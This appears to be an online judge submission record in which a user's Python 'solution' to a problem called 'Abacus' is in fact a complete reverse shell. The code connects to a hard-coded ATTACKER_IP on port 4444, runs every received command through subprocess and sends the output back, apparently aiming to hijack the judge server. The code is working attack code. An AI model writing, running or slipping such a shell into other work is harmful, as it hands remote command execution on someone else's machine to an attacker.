Submission

Status:
xxxxxxxxxxxxxxxxxxxx

Score: 0

User: PokemonX69

Problemset: Abacus

Language: python

Time: 0.000 second

Submitted On: 2025-03-14 00:38:15

import socket
import subprocess
import os

ATTACKER_IP = "10.0.2.15" 
ATTACKER_PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))

os.chdir(os.path.expanduser("~"))

while True:
    data = s.recv(1024).decode("utf-8")
    if data.lower() == "exit":
        break
    if data.startswith("cd "):
        try:
            os.chdir(data[3:].strip())
            s.send(b"Changed directory\n")
        except FileNotFoundError:
            s.send(b"Directory not found\n")
        continue
    output = subprocess.getoutput(data)
    s.send(output.encode("utf-8") + b"\n")

s.close()